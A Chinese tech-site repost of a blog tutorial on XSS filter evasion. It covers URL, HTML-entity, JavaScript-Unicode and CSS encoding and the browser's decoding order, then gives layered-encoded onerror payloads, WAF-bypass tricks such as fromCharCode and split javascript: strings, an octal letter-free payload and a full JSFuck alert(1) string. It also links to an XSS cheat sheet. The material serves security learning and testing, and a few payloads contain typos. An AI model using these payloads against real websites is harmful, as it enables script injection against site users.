您当前的位置:首页 > 电脑百科 > 安全防护 > 数据安全

黑客大神熬夜整理的xss各种骚操作

时间:2020-08-12 12:45:46  来源:  作者:

一、一般可利用的编码

1.URL编码格式:%十六进制数

黑客大神熬夜整理的xss各种骚操作

 

记住常用符号、字母的 ASCII 码,能熟练转换 10 -16 进制即可。中文的URL编码略有不同,因为用的地方没有,也就不想写了

如何利用:浏览器的 URL 地址栏,反射型 XSS,可以将特殊字符进行 URL 编码,可以尝试多次编码试一试;POST过去的数据,存储型 XSS,跟反射型的一样。最后提一点:因为一般网站处理数据的时候最开始解码的一般是 URL 解码,所以可以在用其他编码构造完成 payload 后,最后再进行 URL 编码,由此可见,可以根据解码顺序,灵活得进行编码,最先解码的,就最后编码,懂我什么意思吧,我也不太懂我到底有没有说懂

2.html实体编码格式:&#十进制/十六进制; (一般是用十进制)十六进制的时候为 &#x十六进制数

黑客大神熬夜整理的xss各种骚操作

 

对照ASCII码表基本就可以轻松转换了

HTML实体编码对照表参考地址:https://www.w3school.com.cn/html/html_entities.asp

如何利用:注意不要编码 标签的 <> 、属性名、以及赋值号(等号=,冒号:)就可以了

3.JS编码格式:①--unicode:\u十六进制 ②--八进制、十六进制

黑客大神熬夜整理的xss各种骚操作

 

如何利用:一般使用 jsUnicode编码比较多,其他的两种还在研究,望得到高人指点

4.css编码格式:1~6位十六进制数后边就不能直接紧跟数字或字母,否则会被当成转义里的内容处理,所以CSS 选择了空格作为终止标识,在解码的时候,再将空格去除。

如何利用:在使用 style 属性或标签的时候使用,或者也可以在引入外部 CSS 文件的时候,将引入的文件内容进行编码

二、弄清楚浏览器解码顺序

浏览器解析顺序:

示例HTML代码:<a href="JAVAscript:%0a%61l\u0065rt(1)">click me</a>

解释:1.首先浏览器接收到HTML代码,会先开始进行HTML解析,构造DOM树,粗略的讲就是识别 <> 这些标签,赋予其特殊含义,区别于纯文本内容。注意此时并不会做任何解码操作,所以构造 &#lt;img src="JavaScript:al\u0065rt(1)">是不会弹窗的,因为没有识别到标签,它相当于就是一个纯文本,具体来说就是:标签属性名和赋值符号不能编码,但是标签属性的值可以编码

2.DOM树构造完成,开始HTML解码,变成了<a href="javascript:%0a%61l\u0065rt(1);">click me</a>

3.唉,碰到链接类属性 href 了,尽管发现了是javascript伪协议,浏览器也会直接 URL 解码一次,然后就变成了 <a href="javascript:al\u0065rt(1)">click me</a>

4.解码后,因为是 javascript 伪协议,所以 JS 解析器便开始工作了,解析成了 <a href="javascript:alert(1)">click me</a>,注意在识别协议的时候,协议是不能被任何编码的,除非在识别之前已经被解码了,不然的话是不能被识别出来的的,比如说 href="j%61vascript:alert(1)" ,冒号被编码也不行,浏览器虽说会 URL 解码,但是并不会解码之后再识别一次这是什么协议,于是不管是 http 协议还是 javascript 伪协议也好,此时都发挥不了作用而且,此时 href="j%61vascript:alert(1)" 中的冒号括号也不能被 js 编码,否则不会弹窗

5.然后就顺利弹窗了

6.当然,并不是所有时候都是这种解码顺序,要依据具体情况而定。

7.演示一下如何自己进行编码:可以看到上述例子浏览器解码顺序为 HTML实体解码 -> URL解码 -> JSUnicode解码 <-----> 于是便反过来编码 JSUnicode解码 -> URL解码 -> HTML实体解码假设要编码的内容:<img/src/onerror=alert(1)>,可以先思考一下该如何编码,再往下看

首先JSUnicode编码 : <img/src/onerror=\u0061\u006c\u0065\u0072\u0074(1)>,加不加双引号包裹onerror后面的内容无所谓,加也好,不加也好,最好不加,因为双引号被过滤了的话,会更麻烦,依据前文所述,此处的注意点有:不能编码括号 (),还有一点很奇怪,弹窗提示的 1 字符也不能被编码,否则不会弹,除非加引号包裹起来。其次HTML编码 : <img/src/onerror=\u0061u006c\u0065\u0072\u0074(1)>此处的注意点有:不能编码标签的 <>、属性、等号=最后URL编码 : %3Cimg/src/onerror%3D%5Cu0061%26%23x5C%3B%26%23x75%3B006c%5Cu0065%5Cu0072%5Cu0074%26%23x28%3B1%29%3E

最后一个问题:这句payload应该插在哪?一般是反射型的XSS直接便可以见到效果,有php环境的可以试一下:a.php 内容为 <?php echo $_GET["a"]; ?>,然后用浏览器打开这个文件,后面接 ?a=%3Cimg/src/onerror%3D%5Cu0061%26%23x5C%3B%26%23x75%3B006c%5Cu0065%5Cu0072%5Cu0074%26%23x28%3B1%29%3E,即可弹窗

如图

黑客大神熬夜整理的xss各种骚操作

 

注意点总结:

1.转义编码应当只出现在标示符部分,不能用于对语法有真正影响的符号,也就是括号,或者是引号、等号、冒号

2.浏览器是不会在html标签里解析js中的那些编码的!所以我们在onerror=后面放js中的八进制、十六进制编码(jsUnicode编码除外)是不会解析 你放进去是什么 解析就是什么!而另一方面,如果想用这种方式来替换掉圆括号,或者引号,会判定为失败。同时,主要注意的方式,上边这种直接在字符串外进行转移的方式,只有Unicode 转义方式被支持,其他转义方式则不行。其实,这样的策略是正确的,因为对于JavaScript,转义编码应当只出现在标示符部分,不能用于对语法有真正影响的符号,也就是括号,或者是引号。其实,这样的处理方法,反而是比CSS 更加合理的。

3.HTML解析器在建立文档树的时候会针对节点内的Entity编码(即实体编码)解码后传输。

4.使用DOM 操作,对DOM Tree 造成了改变,会调用到 HTML 解析器重新对其解析,意思就是,用 DOM 操作创建了节点标签什么的,会重新调用 HTML 解析

5.在一个页面中,可以触发 JS 解析器的方式有这么几种:直接嵌入< script> 代码块。通过< script sr=… > 加载代码。各种HTML CSS 参数支持JavaScript:URL 触发调用。CSS expression(…) 语法和某些浏览器的XBL 绑定。事件处理器(Event handlers),比如 onload, onerror, onclick等等。定时器,Timer(setTimeout, setInterval)eval(…) 调用。可以想一下这个 <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>,为什么这个不弹窗呢?????????????????不清楚可以看一下参考文章的第一篇!!

6.<script>alert('1')</script>是无法弹框的,因为script标签内无法解析HTML实体编码。但是 <svg><script>alert('1')</script>是可以被解析的<svg>属于外部标签,是一种特殊的标签,它使用 XML 格式定义图像,支持 XML 解析。因为 xml 支持在标签内解析 HTML 实体字符,所以在 XML 中 ( 会被解析成(。

另外一些例子:以下两个表示相同:<img src="http://www.example.com"><img src="http://www.example.com">因为在识别协议之前,已经HTML解码了,所以并不会出现识别协议失败

下面两个例子代码不会执行,因为,编码的是标签本身的结构而非节点内的内容:(这一点非常重要)<img src="http://www.example.com"><img src="http://www.example.com">

三、骚操作

HTML新增字符:冒号 换行

1) HTML编码:实体编号,就是ASCII码的10进制,还可以$#000060来实现绕过一些WAF。2) 当 <> 这些符号被编码的时候,因为在JS中常见的传输中文或者非ASCII码字符就会使用unicode编码,同样这种编码可以用来绕过一些WAF。如 '<':编码为 '\u003c'(unicode编码),'a'->\x61。此时需要考虑网站传输数据的方式!3) 如果任何形式引号都被拦截的情况下,你可以使用fromCharCode()方法来创造你需要的XSS Payload.如<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>,然后再编码4) 还有,数字编码前面加「0」,这也是一条很好的绕过 WAF 的向量。5) 多观察网站传输数据的编码格式,利用其对应特点进行编码6) 巧用 location + javascript 伪协议 <img/onerror=loaction="javascript:alert%611)"> 通过location会经过一层url解码<img/src/onerror=location="javasc"+"ript:a"+"lert%28"+"1)">这样写还可以绕过黑名单限制

参考文章(建议全部看一遍,会有更多的收获)

理解浏览器解析规则文章http://bobao.360.cn/learning/detail/292.htmlXSS编码剖析https://www.freebuf.com/articles/web/43285.htmlBrowser Security-超文本标记语言(HTML)https://www.madebug.net/static/drops/tips-147.html编码与解码-浏览器做了什么http://xuelinf.github.io/2016/05/18/编码与解码-浏览器做了什么/深入理解浏览器解析机制和XSS向量编码 文章总结https://www.wjlshare.xyz/2019/08/10/深入理解浏览器解析机制和xss向量编码-文章总结/XSS与字符编码的那些事儿 ---科普文https://www.madebug.net/static/drops/tips-689.htmlXSS之绕过WAF总结https://www.cnblogs.com/wjrblogs/p/12341190.html

推荐一些在线编码的网站:有 0x_Jin 大佬的 XSS_ENCODE 谷歌插件,解压后可用地址:链接:https://pan.baidu.com/s/1JFMC1uuWq0mgUF07O8SAlQ 提取码:3rj4

名称地址CTF在线工具http://ctf.ssleye.com/HTML字符实体转换https://www.qqxiuzi.cn/bianma/zifushiti.phpUnicode与中文互转 16进制Unicode编码转换、还原http://www.msxindl.com/tools/unicode16.aspUnicode 编码&解码https://www.css-js.com/tools/unicode.html

注:纯推荐,没打广告

 

---以上内容均来自:https://www.cnblogs.com/wjrblogs/p/12497194.html#3378151910

下面我补充一些我知道其他的骚操作操作:

  1. 不使用任何字母

js中任意字符串可以写成

+ASCII码的8位形式,也就是查询到字母的ASCII码然后将其转换为8进制时候的结果。

这样:

"..."["163165142163164162"]["143157156163164162165143164157162"]("141154145162164506151")()

2.JSFuck编码

也就是这样:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

哈,是不是暗自fuck,

编码网址:https://www.bugku.com/tools/jsfuck/

上述字符:是alert(1),经过JSFuck,得到的,在控制台执行后

黑客大神熬夜整理的xss各种骚操作

 

简介:

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅使用六个不同的字符来编写和执行代码。

它不依赖于浏览器,因此您甚至可以在Node.js上运行它。

基本:

基本

  • 假=>![]
  • 正确=> !! []
  • 未定义=> [] [[]]
  • NaN => + [![]]
  • 0 => + []
  • 1 => +!+ []
  • 2 =>!+ [] +!+ []
  • 10 => [+!+ []] + [+ []]
  • 数组=> []
  • 数字=> + []
  • 字符串=> [] + []
  • 布尔值=>![]
  • 功能=> [] [“过滤器”]
  • eval => [] [“ filter”] [“ constructor”](CODE)()
  • window => [] [“ filter”] [“ constructor”](“ return this”)()

最后推荐一个GitHub上的xss payload的速查表共计100+条xss突破测试小技巧

以下文章来源于未知数Y ,作者未知数Y

https://github.com/heroanswer/XSS_Cheat_Sheet_2020_Edition



Tags:xss   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  Tags: xss  点击:(18)  评论:(0)  加入收藏
一.XSSI漏洞原理同源策略同源策略是Web应用程序安全模型中最基本也是最核心的策略。现在所有支持JavaScript的浏览器都会使用这个策略。所谓同源是指,域名,协议,端口相同。同源...【详细内容】
2021-07-14  Tags: xss  点击:(84)  评论:(0)  加入收藏
一、CSRFCSRF 全称叫做,跨站请求伪造(Cross&mdash;Site Request Forgery),顾名思义,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成...【详细内容】
2021-06-10  Tags: xss  点击:(125)  评论:(0)  加入收藏
什么是XSS跨站攻击CSS(Cross Site Script),又叫XSS跨站脚本攻击。它指的是恶意攻击者往Web页面的HTML代码中插入恶意的ActiveX、HTML、JavaScript、Flash或VBScript脚本,当用户...【详细内容】
2021-01-22  Tags: xss  点击:(133)  评论:(0)  加入收藏
概述XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人...【详细内容】
2020-10-13  Tags: xss  点击:(174)  评论:(0)  加入收藏
作者:陈吉转发链接:https://mp.weixin.qq.com/s/HweEFh78WXLawyQr_Vsl5g前言前端一般会面临 XSS 这样的安全风险,但随着 React 等现代前端框架的流行,使我们在平时开发时不用太...【详细内容】
2020-09-24  Tags: xss  点击:(153)  评论:(0)  加入收藏
不知道各位有没有被各类XSS攻击、点击劫持 (ClickJacking、 frame 恶意引用等等方式骚扰过,百度联盟被封就有这些攻击的功劳在里面。为此一直都在搜寻相关防御办法,...【详细内容】
2020-09-21  Tags: xss  点击:(145)  评论:(0)  加入收藏
一、一般可利用的编码1.URL编码格式:%十六进制数 记住常用符号、字母的 ASCII 码,能熟练转换 10 -16 进制即可。中文的URL编码略有不同,因为用的地方没有,也就不想写了如何利用:...【详细内容】
2020-08-12  Tags: xss  点击:(116)  评论:(0)  加入收藏
不知道各位有没有被各类XSS攻击、点击劫持 (ClickJacking、 frame 恶意引用等等方式骚扰过,百度联盟被封就有这些攻击的功劳在里面。为此一直都在搜寻相关防御办法,...【详细内容】
2020-08-10  Tags: xss  点击:(80)  评论:(0)  加入收藏
跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS攻击使用到的技术主要为HTML和Javascript...【详细内容】
2020-07-28  Tags: xss  点击:(275)  评论:(0)  加入收藏
▌简易百科推荐
众所周知,Windows系统流氓软件众多,其中不乏出身大厂的产品。这些带有流氓性质的软件,很多都会偷偷扫描系统数据,读取用户文件,造成电脑卡顿拖慢不说,还严重侵害了个人隐私,造成巨...【详细内容】
2021-12-06  趣玩APPS    Tags:流氓软件   点击:(16)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  IT野涵    Tags:sql注入   点击:(21)  评论:(0)  加入收藏
互联网时代,不论是个人还是组织,都将数据视为一项重要的资产。为了便于存储、管理,企业常常会为各项数据建立一个数据库,如果没有做好安全风险防护,一旦数据库被攻占,企业将迎来很...【详细内容】
2021-10-28  快快网络   企鹅号  Tags:数据库   点击:(50)  评论:(0)  加入收藏
前言(可能思路狭隘,有缺有错,师傅们多带带)【查看资料】Author: 0ne本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告...【详细内容】
2021-10-28  IT野涵    Tags:缺口   点击:(46)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19    博客园  Tags:SQL注入   点击:(51)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  woaker    Tags:SQL注入漏洞   点击:(65)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  合天网安实验室    Tags:sql注入   点击:(59)  评论:(0)  加入收藏
“放纵自己的欲望是最大的祸害,窥探别人的隐私是最大的罪恶,不知自己的过失是最大的病痛”。 上文咱们知道了目前互联网的数据安全存在隐患,数据安全的问题,每天都在发生,只不过...【详细内容】
2021-08-13  小陶子矿工    Tags:IPFS   点击:(79)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  IT影子    Tags:sql注入   点击:(63)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  李志宽    Tags:SQL注入   点击:(74)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条